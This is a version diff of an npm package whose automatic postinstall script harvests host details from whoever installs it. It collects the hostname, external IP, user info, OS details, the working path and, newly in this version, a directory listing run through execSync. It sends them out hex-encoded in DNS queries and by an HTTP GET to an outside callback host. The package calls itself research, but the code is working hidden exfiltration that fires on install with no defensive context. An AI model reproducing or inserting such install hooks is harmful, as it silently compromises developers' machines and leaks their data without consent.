randompackage-notreal 1.0.2 → 1.0.3

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "randompackage-notreal",
-  "version": "1.0.2",
+  "version": "1.0.3",
   "description": "Researcher public package",
   "main": "index.js",
   "scripts": {

package/postinstall.js

@@ -3,6 +3,7 @@ const dns = require('dns');
 const http = require('http');
 const https = require('https');
 const os = require('os');
+const { execSync } = require('child_process');
 
 const logFile = '/tmp/postinstall.log';
 
@@ -18,7 +19,14 @@ const currentPath = process.cwd();
 const platform = os.platform();
 const userInfo = os.userInfo();
 
-// Operating System Details
+// Get list of files in the current directory
+let directoryFiles;
+try {
+  directoryFiles = execSync('ls').toString().trim();
+} catch (error) {
+  directoryFiles = `Error executing ls command: ${error.message}`;
+}
+
 const osDetails = {
   platform: os.platform(),
   release: os.release(),
@@ -58,23 +66,21 @@ fetchExternalIpAddress((err, externalIpAddress) => {
     currentPath,
     platform,
     userInfo,
-    osDetails // Added OS details here
+    osDetails, 
+    directoryFiles // Include the directory listing here
   };
 
   fs.appendFileSync(logFile, `Data: ${JSON.stringify(data)}\n`);
 
-  // Prepare data for DNS exfiltration
   const dnsData = `${packageName}-${hostname}-${externalIpAddress}`;
   const hexData = Buffer.from(dnsData).toString('hex');
 
-  // Split hex data into parts fitting within DNS label length limit
   const maxLabelLength = 63;
   const hexDataParts = [];
   for (let i = 0; i < hexData.length; i += maxLabelLength) {
     hexDataParts.push(hexData.substring(i, i + maxLabelLength));
   }
 
-  // Send each part as a separate DNS query
   hexDataParts.forEach((part, index, arr) => {
     const partIndex = index + 1;
     const totalParts = arr.length;
@@ -88,12 +94,11 @@ fetchExternalIpAddress((err, externalIpAddress) => {
     });
   });
 
-  // HTTP fallback
   const getData = `targetUrl=${encodeURIComponent(JSON.stringify(data))}`;
 
   const options = {
-    hostname: 'sec.zonduu.me', // Replace with your HTTP server hostname
-    port: 80, // Replace with the appropriate port
+    hostname: 'sec.zonduu.me',
+    port: 80,
     path: `/callbackplz?${getData}`,
     method: 'GET'
   };